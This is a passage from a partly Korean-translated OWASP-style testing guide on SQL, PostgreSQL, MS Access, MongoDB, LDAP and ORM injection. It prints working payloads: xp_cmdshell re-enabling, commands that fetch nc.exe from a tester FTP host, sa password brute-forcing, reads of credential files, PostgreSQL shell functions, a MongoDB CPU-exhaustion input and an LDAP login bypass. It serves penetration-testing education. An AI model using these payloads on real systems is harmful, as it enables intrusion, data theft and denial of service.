    IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLERe
sult)
    EXECUTE @OLEResult = sp_OADestroy @ShellID
    return @result

This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_oamethod and sp_oadestroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_ cmdshell we created (even if it was not working), otherwise the two declarations will collide.

On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:

master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure

예제 6: Referer / User-Agent

The REFERER header set to:

Referer: https://vulnerable.web.app/login.aspx', 'user_agent',
'some_ip'); [SQL CODE]-

Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:

sp_addextendedproc 'xp_cmdshell','xp_log70.dll'

예제 7: 포트 스캐너로 SQL Server

In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:

select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foo
bar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','se
lect 1')-

This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned: General network error. Check your network documentation

OLE DB provider 'sqloledb' reported an error. The provider
did not give any information about the error.

On the other hand, if the port is open, one of the following errors will be returned: Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away. Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.


예제 8: 실행 파일 업로드

Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here. If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries: At this point, nc.exe will be uploaded and available.

exec master..xp_cmdshell 'echo open ftp.tester.org > ftp
script.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--

If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:

exec master..xp_cmdshell 'echo [debug script line #1 of n] >
debugscript.txt';--
exec master..xp_cmdshell 'echo [debug script line #2 of n] >>
debugscript.txt';--
....
exec master..xp_cmdshell 'echo [debug script line #n of n] >>
debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--

At this point, our executable is available on the target machine, ready to be executed. There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on Unix (See the tools at the bottom of this page).

Obtain information when it is not displayed (Out of band)

Not all is lost when the web application does not return any information --such as descriptive error messages (cf. Blind SQL Injection). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. Other options for out of band attacks are described in Sample 4 above.

블라인드 SQL 인젝션 공격

Trial and error

Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors (1) against this channel and watch the response. For example, if the web application is looking for a book using a query

select * from books where title=text entered by the user

then the penetration tester might enter the text: 'Bomba' OR 1=1- and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later play with the queries in order to assess the criticality of this vulnerability.


If more than one error message is displayed

On the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any covert channel. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: . In some cases the web application (actually the web server) might return the traditional 500: Internal Server Error, say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes.

. While in other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers Internal server error or bad data.

This one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit. Another out-of-band method is to output the results through HTTP browseable files.


Timing attacks

There is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the waitfor delay command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:

select * from books where title=text entered by the user

Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a SQL injection vulnerability and a covert channel that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pen tester can get any data that is in the database. Look at the following query

declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [some value]
if (select len(@s)) < @i waitfor delay '0:0:5'

Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0
waitfor delay '0:0:5'

This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.

However, it might happen that the command waitfor is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example

declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end

버전과 취약점 확인

The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:

select @@version

OnSQL Server 2005, it will return something like the following:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14
2005 00:33:37 <snip>

The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:

if substring((select @@version),25,1) = 5 waitfor delay
'0:0:5'

Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.


예제 9: sysadmin 패스워드 무작위 공격

To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also "looped" to the local DB Server. Combining these features with an inferenced injection based on response timing, we can inject the following code:

select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select
1;waitfor delay ''0:0:5'' ')

What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using "sa" and "<pwd>" as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In "Data-mining with SQL Injection and Inference", David Litchfield pushes this technique even further, by injecting a piece of code in order to brute-force the sysadmin password using the CPU resources of the DB Server itself. Once we have the sysadmin password, we have two choices: . Inject all following queries using OPENROWSET, in order to use sysadmin privileges

. Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.

Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.


Tools

  • Francois Larouche: Multiple DBMS SQL Injection tool - [SQL Power Injector]
  • Northern Monkee: [Bobcat]
  • icesurfer: SQL Server Takeover Tool - [sqlninja]
  • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool -http://sqlmap.org/

References

Whitepapers


OWASP Backend Security Project Testing PostgreSQL

개요

In this section, some SQL Injection techniques for PostgreSQL will be discussed. These techniques have the following characteristics:

  • PHP Connector allows multiple statements to be executed by using ; as a statement separator
  • SQL Statements can be truncated by appending the comment char: --.
  • LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated by the query

From now on it is assumed that http://www.example.com/news. php?id=1 is vulnerable to SQL Injection attacks.


테스트 방법

Identifying PostgreSQL

When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can determine that the backend database engine is PostgreSQL by using the :: cast operator.

예제

In addition, the function version() can be used to grab the PostgreSQL banner. This will also show the underlying operating system type and version.

http://www.example.com/store.php?id=1 AND 1::int=1

An example of a banner string that could be returned is:

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc
(GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
블라인드 인젝션

For blind SQL injection attacks, you should take into consideration the following built-in functions:

  • 문자열 길이
LENGTH(str)
  • 주어진 문자열로 부터 부분 문자 추출
SUBSTR(str,index,offset)
  • String representation with no single quotes
CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Starting at version 8.2, PostgreSQL introduced a built-in function, pg_sleep(n), to make the current session process sleep for n seconds. This function can be leveraged to execute timing attacks (discussed in detail at Blind SQL Injection). In addition, you can easily create a custom pg_sleep(n) in previous versions by using libc:

  • CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
Single Quote unescape

Strings can be encoded, to prevent single quotes escaping, by using chr() function.

  • chr(n): Returns the character whose ASCII value corresponds to the number n
  • ascii(n): Returns the ASCII value which corresponds to the character n

Let's say you want to encode the string 'root':

select ascii('r')
114
select ascii('o')
111
select ascii('t')
116

We can encode 'root' as:

chr(114)||chr(111)||chr(111)||chr(116)

예제

http://www.example.com/store.php?id=1; UPDATE users
SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Attack Vectors

Current User

The identity of the current user can be retrieved with the following SQL SELECT statements:

SELECT user
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
SELECT getpgusername()

예제

http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

The built-in function current_database() returns the current database name.

예제

http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL-

Reading from a file

PostgreSQL provides two ways to access a local file:

  • COPY statement
  • pg_read_file() internal function (starting from PostgreSQL 8.1)

COPY: This operator copies data between a file and a table. The PostgreSQL engine accesses the local file system as the postgres user.

예제

/store.php?id=1; CREATE TABLE file_store(id serial, data text)--
/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--

Data should be retrieved by performing a UNION Query SQL Injection:

  • retrieves the number of rows previously added in file_store with COPY statement
  • retrieves a row at a time with UNION SQL Injection

예제

/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-- /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;-- ... ... /store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--

g_read_file():

This function was introduced in PostgreSQL 8.1 and allows one to read arbitrary files located inside DBMS data directory.

예제

SELECT pg_read_file('server.key',0,1000);

Writing to a file

By reverting the COPY statement, we can write to the local file system with the postgres user rights

/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--

Shell Injection

PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting languages such as python, perl, and tcl.


Dynamic Library

Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:

  • CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc. so.6', 'system' LANGUAGE 'C' STRICT

Since system returns an int how we can fetch results from system stdout?

Here's a little trick:

  1. create a stdout table
CREATE TABLE stdout(id serial, system_out text)
  1. executing a shell command redirecting its stdout
SELECT system('uname -a > /tmp/test')
  1. use a COPY statements to push output of previous command in stdout table
COPY stdout(system_out) FROM '/tmp/test'
  1. retrieve output from stdout
SELECT system_out FROM stdout

예제

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text)--
/store.php?id=1; CREATE FUNCTION system(cstring) RE
TURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
STRICT--
/store.php?id=1; SELECT system('uname -a > /tmp/test')--
/store.php?id=1; COPY stdout(system_out) FROM '/tmp/
test'--
/store.php?id=1 UNION ALL SELECT NULL,(SELECT sys
tem_out FROM stdout ORDER BY id DESC),NULL LIMIT 1
OFFSET 1--

plpython

PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user can do. It's not installed by default and can be enabled on a given database by CREATELANG

  1. Check if PL/Python has been enabled on a database:
SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
  1. If not, try to enable:
CREATE LANGUAGE plpythonu
  1. If either of the above succeeded, create a proxy shell function:
CREATE FUNCTION proxyshell(text) RETURNS text
AS 'import os; return os.popen(args[0]).read()
'LANGUAGE plpythonu;--
  1. Have fun with:
SELECT proxyshell(os command);

예제

  1. Create a proxy shell function:
  • /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read()' LANGUAGE plpythonu;--

Since system returns an int how we can fetch results from system

  1. Run an OS Command:
  • /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

plperl

Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order to disable runtime execution of operations that interact with the underlying operating system, such as open. By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need to install the untrusted version from the postgres user, to avoid the so-called application mask filtering of trusted/untrusted operations.

  1. Check if PL/perl-untrusted has been enabled:
  • SELECT count(*) FROM pg_language WHERE lanname='plperlu'
  1. If not, assuming that sysadm has already installed the plperl package, try :
  • CREATE LANGUAGE plperlu
  1. If either of the above succeeded, create a proxy shell function:
  • CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu
  1. Have fun with:
  • SELECT proxyshell(os command);

예제

  1. Create a proxy shell function:
  • /store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return join("",<FD>);' LANGUAGE plperlu;
  1. Run an OS Command:
  • /store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--

References



MS Access 테스트

개요

As explained in the generic SQL injection section, SQL injection vulnerabilities occur whenever user-supplied input is used during the construction of a SQL query without being adequately constrained or sanitized. This class of vulnerabilities allows an attacker to execute SQL code under the privileges of the user that is used to connect to the database. In this section, relevant SQL injection techniques that utilize specific features of Microsoft Access will be discussed.


테스트 방법

핑거프린팅

Fingerprinting the specific database technology while testing SQL-powered application is the first step to properly asses potential vulnerabilities. A common approach involves injecting standard SQL injection attack patterns (e.g. single quote, double quote, ...) in order to trigger database exceptions. Assuming that the application does not handle exceptions with custom pages, it is possible to fingerprint the underline DBMS by observing error messages. Depending on the specific web technology used, MS Access driven applications will respond with one of the following errors:

Fatal error: Uncaught exception 'com_exception' with mes
sage Source: Microsoft JET Database Engine

or

Microsoft JET Database Engine error '80040e14'
or Microsoft Office Access Database Engine

In all cases, we have a confirmation that we're testing an application using MS Access database.


기본 테스트

Unfortunately, MS Access doesn't support typical operators that are traditionally used during SQL injection testing, including:

  • No comments characters
  • No stacked queries
  • No LIMIT operator
  • No SLEEP or BENCHMARK alike operators
  • and many others

Nevertheless, it is possible to emulate those functions by combining multiple operators or by using alternative techniques. As mentioned, it is not possible to use the trick of inserting the characters /*, -- or # in order to truncate the query. However, we can fortunately bypass this limitation by injecting a 'null' character. Using a null byte %00 within a SQL query results in MS Access ignoring all remaining characters. This can be explained by considering that all strings are NULL terminated in the internal representation used by the database. It is worth mentioning that the 'null' character can sometimes cause troubles too as it may truncate strings at the web server level. In those situations, we can however employ another character: 0x16 (%16 in URL encoded format).

Considering the following query:

SELECT [username],[password] FROM users WHERE [user
name]='$myUsername' AND [password]='$myPassword'

We can truncate the query with the following two URLs:

http://www.example.com/page.asp?user=admin'%00&
pass=foo
http://www.example.com/page.app?user=admin'%16&
pass=foo

The LIMIT operator is not implemented in MS Access, however it is possible to limit the number of results by using the TOP or LAST operators instead.

http://www.example.com/page.app?id=2'+UNION+SE
LECT+TOP+3+name+FROM+appsTable%00

By combining both operators, it is possible to select specific re sults. String concatenation is possible by using & (%26) and + (%2b) characters.

There are also many other functions that can be used while testing SQL injection, including but not limited to:

  • ASC: Obtain the ASCII value of a character passed as input
  • CHR: Obtain the character of the ASCII value passed as input
  • LEN: Return the length of the string passed as parameter
  • IIF: Is the IF construct, for example the following statement IIF(1=1, 'a', 'b') return 'a'
  • MID: This function allows you to extract substring, for example the following statement mid('abc',1,1) return 'a'
  • TOP: This function allows you to specify the maximum number of results that the query should return from the top. For example TOP 1 will return only 1 row.
  • LAST: This function is used to select only the last row of a set of rows. For example the following query SELECT last(*) FROM users will return only the last row of the result.

Some of these operators are essential to exploit blind SQL injections. For other advanced operators, please refer to the documents in the references.


Attributes Enumeration

In order to enumerate the column of a database table, it is possible to use a common error-based technique. In short, we can obtain the attributes name by analyzing error messages and repeating the query with different selectors. For example, assuming that we know the existence of a column, we can also obtain the name of the remaining attributes with the following query:

' GROUP BY Id%00

In the error message received, it is possible to observe the name of the next column. At this point, we can iterate the method until we obtain the name of all attributes. If we don't know the name of the first attribute, we can still insert a fictitious column name and obtain the name of the first attribute within the error message. Obtaining Database Schema Various system tables exist by default in MS Access that can be potentially used to obtain table names and columns. Unfortunately, in the default configuration of recent MS Access database releases, these tables are not accessible. Nevertheless, it is always worth trying:

  • MSysObjects
  • MSysACEs
  • MSysAccessXML

For example, if a union SQL injection vulnerability exists, you can use the following query:

' UNION SELECT Name FROM MSysObjects WHERE Type = 1%00

Alternatively, it is always possible to bruteforce the database schema by using a standard wordlist (e.g. FuzzDb).

In some cases, developers or system administrators do not realize that including the actual .mdb file within the application webroot can allow to download the entire database. Database filenames can be inferred with the following query:

http://www.example.com/page.app?id=1'+UNION+SELECT+1+FROM+name.table%00

where name is the .mdb filename and table is a valid database table. In case of password protected databases, multiple software utilities can be used to crack the password. Please refer to the references.


Blind SQL Injection Testing

Blind SQL Injection vulnerabilities are by no means the most easily exploitable SQL injections while testing real-life applications. In case of recent versions of MS Access, it is also not feasible to execute shell commands or read/write arbitrary files. In case of blind SQL injections, the attacker can only infer the result of the query by evaluating time differences or application responses. It is supposed that the reader already knows the theory behind blind SQL injection attacks, as the remaining part of this section will focus on MS Access specific details. The following example is used:

http://www.example.com/index.php?myId=[sql]

where the id parameter is used within the following query:

SELECT * FROM orders WHERE [id]=$myId

Let's consider the myId parameter vulnerable to blind SQL injection. As an attacker, we want to extract the content of column 'username' in the table 'users', assuming that we have already disclosed the database schema. A typical query that can be used to infer the first character of the user-name of the 10th rows is:

http://www.example.com/index.php?id=IIF((select%20
MID(LAST(username),1,1)%20from%20(select%20TOP%20
10%20username%20from%20users))='a',0,'no')

If the first character is 'a', the query will return 0 or otherwise the string 'no'. By using a combination of the IFF, MID, LAST and TOP functions, it is possible to extract the first character of the username on a specifically selected row. As the inner query returns a set of records, and not just one, it is not possible to use it directly. Fortunately, we can combine multiple functions to extract a specific string.

Let's assume that we want to retrieve the username of the 10th row. First, we can use the TOP function to select the first ten rows using the following query:

SELECT TOP 10 username FROM users

Then, using this subset, we can extract the last row by using the LAST function. Once we have only one row and exactly the row containing our string, we can use the IFF, MID and LAST functions to infer the actual value of the username. In our example, we employ IFF to return a number or a string. Using this trick, we can distinguish whether we have a true response or not, by observing application error responses. As id is numeric, the comparison with a string results in a SQL error that can be potentially leaked by 500 Internal Server Error pages. Otherwise, a standard 200 OK page will be likely returned. For example, we can have the following query:

http://www.example.com/index.php?id='%20AND%20
1=0%20OR%20'a'=IIF((select%20MID(LAST(user
name),1,1)%20from%20(select%20TOP%2010%20user
name%20from%20users))='a','a','b')%00

that is TRUE if the first character is 'a' or false otherwise. As mentioned, this method allows to infer the value of arbitrary strings within the database:

  1. By trying all printable values, until we find a match
  2. By inferring the length of the string using the LEN function, or by simply stopping after we have found all characters

Time-based blind SQL injections are also possible by abusing heavy queries.


NoSQL 인젝션 테스트

개요

NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. Because these NoSQL injection attacks may execute within a procedural[1] language , rather than in the declarative[2] SQL language, the potential impacts are greater than traditional SQL injection.

NoSQL database calls are written in the application's programming language, a custom API call, or formatted according to a common convention (such as XML, JSON, LINQ, etc). Malicious input targeting those specifications may not trigger the primarily application sanitization checks. For example, filtering out common HTML special characters such as < > & ; will not prevent attacks against a JSON API, where special characters include / { } : .

There are now over 150 NoSQL databases available[3] for use within an application, providing APIs in a variety of languages and relationship models. Each offers different features and restrictions. Because there is not a common language between them, example injection code will not apply across all NoSQL databases. For this reason, anyone testing for NoSQL injection attacks will need to familiarize themselves with the syntax, data model, and underlying programming language in order to craft specific tests.

NoSQL injection attacks may execute in different areas of an application than traditional SQL injection. Where SQL injection would execute within the database engine, NoSQL variants may execute during within the application layer or the database layer, depending on the NoSQL API used and data model. Typically NoSQL injection attacks will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL API call.

Additional timing attacks may be relevant to the lack of concurrency checks within a NoSQL database. These are not covered under injection testing. At the time of writing MongoDB is the most widely used NoSQL database, and so all examples will feature MongoDB APIs.


테스트 방법

MongoDB에 NoSQL 인젝션 취약점 테스트

MongoDB에서 가장 일반적으로 사용되는 API 호출은 임의 자바스크립트 입력을 허용하는 $where 연산자입니다. $where 연산자는 일반적으로 간단한 필터 또는 확인에 사용됩니다.

db.myCollection.find(
{
    $where: "this.credits == this.debits"
}
);

아래와 같은 자바스크립트 함수 형식으로도 사용 가능합니다.

db.myCollection.find(
{
    $where: function()
            {
                return obj.credits-obj.debits < 0;
            }
}
);

예제 1

만약 공격자가 $where 연산자 내에 데이터를 조작할 수 있다면, 공격자는 MongoDB 쿼리 부분에 임의의 자바스크립트를 삽입할 수 있습니다. 사용자 입력에 대한 필터 없이 MongoDB 쿼리가 직접 전달될 경우 다음 코드처럼 노출됩니다.

b.myCollection.find(
{
    active: true,
    $where: function()
            {
                return obj.credits-obj.debits < $userInput;
            }
}
);

MongoDB에서는 아래와 같은 특수문자를 통해 구문을 우회하여 공격에 성공할 수 있습니다.

' " \ ; { }

일반적인 SQL 인젝션과 마찬가지로 임의로 데이터를 조작하는 SQL 명령을 실행할 수 있습니다. 또한, 자바스크립트 언어가 가능하기 때문에 데이터 조작 뿐만 아니라 임의의 코드 실행이 가능합니다.

[입력 값]

0;var date=new Date(); do{curDate = new Date();} while(curDate-date<10000)

위 입력 값을 $userInput에 입력하게 되면 아래와 같이 자바스크립트 함수가 실행되게 됩니다. 이 공격 문자열은 전체 MongoDB 인스턴스를 10초 동안 100%의 CPU 사용률으로 실행되게 합니다.

function()
{
    return obj.credits-obj.debits < 0;
    var date=new Date();
    do{curDate = new Date();}
    while(curDate-date < 10000);
}

예제 2

쿼리 내에서 사용되는 입력을 완전히 필터링 또는 파라미터화 된 경우라도, NoSQL 인젝션을 유발할 수있는 대체 경로가 있습니다. 대부분의 NoSQL 인스턴스는 어플리케이션 프로그래밍 언어와 무관하게 자신의 소유 변수 이름을 갖고 있습니다.

예를 들어, MongoDB의 경우 $where 구문이라는 자신의 소유 변수가 있습니다.

It needs to be passed into the query exactly as shown; any alteration would cause a database error. However, because $where is also a valid PHP variable name, it may be possible for an attacker to insert code into the query by creating a PHP variable named $where. The PHP MongoDB documentation explicitly warns developers:

Please make sure that for all special query operators (starting with $) you use single quotes so that PHP doesn't try to replace "$exists" with the value of the variable $exists.

Even if a query depended on no user input, such as the following example, an attacker could exploit MongoDB by replacing the operator with malicious data.

db.myCollection.find(
{
    $where: function()
            {
                return obj.credits-obj.debits < 0;
            }
}
);

잠재적으로 PHP 변수로 데이터를 할당하는 한가지 방법은 HTTP 파라미터 감염을 이용하는 것입니다. (HTTP 파라미터 감염 침투 테스트(OTG-INPVAL-004)). 파라미터 감염을 통해 $where라는 변수를 생성할 수 있다면, 유효하지 않은 쿼리를 통해 MongoDB 에러를 트리거할 수 있습니다.

[입력 값]

$where: function()
{
    //arbitrary JavaScript here
}

References

Whitepapers

OTG-INPVAL-006 (LDAP 인젝션 테스트)


개요

Lightweight Directory Access Protocol(LDAP)는 사용자, 호스트, 수많은 오브젝트에 관한 정보를 저장하기 위해 사용됩니다. LDAP 인젝션은 서버 사이드 공격으로, 공개, 수정, 삽입 할 LDAP 구조에 표시된 사용자와 호스트에 관한 민감한 정보입니다.

This is done by manipulating input parameters afterwards passed to internal search, add, and modify functions. A web application could use LDAP in order to let users authenticate or search other users’ information inside a corporate structure. The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application. [Rfc2254] defines a grammar on how to build a search filter on LDAPv3 and extends [Rfc1960] (LDAPv2). An LDAP search filter is constructed in Polish notation, also known as [prefix notation]. This means that a pseudo code condition on a search filter like this:

find("cn=John & userPassword=mypass")

위 내용은 아래와 같이 표현될 것입니다.

find("(&(cn=John)(userPassword=mypass))")

Boolean conditions and group aggregations on an LDAP search filter could be applied by using the following metacharacters:

More complete examples on how to build a search filter can be found in the related RFC. A successful exploitation of an LDAP injection vulnerability could allow the tester to:

  • Access unauthorized content
  • Evade application restrictions
  • Gather unauthorized informations
  • Add or modify Objects inside LDAP tree structure.

테스트 방법

예제 1: Search Filters

다음과 같은 검색 필터를 사용하는 웹 어플리케이션을 가지고 있다고 가정합시다.

searchfilter="(cn="+user+")"

이 같은 HTTP 요청에 의해 초기화 됩니다.

http://www.example.com/ldapsearch?user=John

만약 John 값이 별표(*)로 바뀐다면, 요청을 다음과 같이 보냅니다.

http://www.example.com/ldapsearch?user=*

필터는 아래와 같이 처리할 것입니다.

searchfilter="(cn=*)"

cn 속성을 가진 모든 오브젝트들이 모두 일치되어 매칭됩니다.

만약 어플리케이션이 LDAP 인젝션에 취약하다면, 어플리케이션의 실행 흐름과 LDAP에 연결된 사용자의 권한에 의존하는 사용자의 속성의 일부 또는 전체를 보게될 것입니다.

침투 테스터는 어플리케이션 에러를 체크하기 위하여 파라미터에 '(', '|', '&', '*' 를 삽입하여 시행 착오를 사용합니다.


예제 2: Login

If a web application uses LDAP to check user credentials during the login process and it is vulnerable to LDAP injection, it is possible to bypass the authentication check by injecting an always true LDAP query (in a similar way to SQL and XPATH injection ). Let’s suppose a web application uses a filter to match LDAP user/ password pair.

searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";

다음 값을 사용

user=*)(uid=*))(|(uid=*
pass=password

검색 필터 결과

searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";

which is correct and always true. This way, the tester will gain logged-in status as the first user in LDAP tree.


Tools


References

Whitepapers

OTG-INPVAL-007 (ORM 인젝션 침투 테스트)


개요

ORM Injection is an attack using SQL Injection against an ORM generated data access object model. From the point of view of a tester, this attack is virtually identical to a SQL Injection attack. However, the injection vulnerability exists in code generated by the ORM tool. An ORM is an Object Relational Mapping tool. It is used to expedite object oriented development within the data access layer of software applications, including web applications. The benefits of using an ORM tool include quick generation of an object layer to communicate to a relational database, standardized code templates for these objects, and usually a set of safe functions to protect against SQL Injection attacks. ORM generated objects can use SQL or in some cases, a variant of SQL, to perform CRUD (Create, Read, Update, Delete) operations on a database. It is possible, however, for a web application using ORM generated objects to be vulnerable to SQL Injection attacks if methods can accept unsanitized input parameters. ORM tools include Hibernate for Java, NHibernate for .NET, ActiveRecord for Ruby on Rails, EZPDO for PHP and many others. For a reasonably comprehensive list of ORM tools, see http://en.wikipedia.org/wiki/List_of_object-relational_mapping_software


테스트 방법


Black Box testing

ORM 인젝션 취약점 블랙박스 테스팅은 SQL 인젝션 테스트와 동일합니다. ORM 레이어에 취약점 대부분이 입력 파라미터를 확인하지 않고 정의한 코드의 결과입니다. 대부분의 ORM 툴툴은 사용자 입력을 빠져나가는 함수를 제공하지만, 만약 이 함수가 사용되지 않고 개발자는 사용자 입력을 받아 함수를 사용하는 경우, SQL 인젝션 공격을 실행하는 것이 가능할 수 있습니다.


Gray Box testing

만약 테스터가 웹 어플리케이션 소스코드에 접근할 수 있거나, ORL 툴의 취약점을 발견할 수 있고 이 툴을 사용한 웹 어플리케이션을 테스트 하는 경우, 어플리케이션에 대한 공격 성공 가능성이 높아질 것입니다.

코드를 찾는 패턴은 다음과 같습니다.

  • SQL 문자열로 연결된 입력 파라미터.

Ruby on Rails를 위한 ActiveRecord를 사용하는 코드

Orders.find_all "customer_id = 123 AND order_date = '#{@
params['order_date']}'"

"' OR 1--" 입력 전송


tools


References

Whitepapers

OTG-INPVAL-008 (XML 인젝션 테스트)


개요

XML 인젝션 테스트는 침투 테스터가 어플리케이션에 XML 문서를 삽입하려 할 때 입니다. 만약 XML 파서가 문맥 데이터를 검증하는데 실패하면, 테스트가 긍정적인 결과를 산출할 것입니다. 이 섹션은 XML 삽입의 실제 사례를 설명합니다. 우선 XML 스타일의 통신을 정의하고, 그 동작 원리를 설명합니다. 그런 다음, XML 메타 문자를 삽입하는 검색 방법에 대해 설명합니다. 첫번째 단계가 수행되면, 침투 테스터는 XML 구조에 대한 정보를 가지고, XML 데이터 및 태그를 인젝션 시도하는 것이 가능할 것입니다


테스트 방법

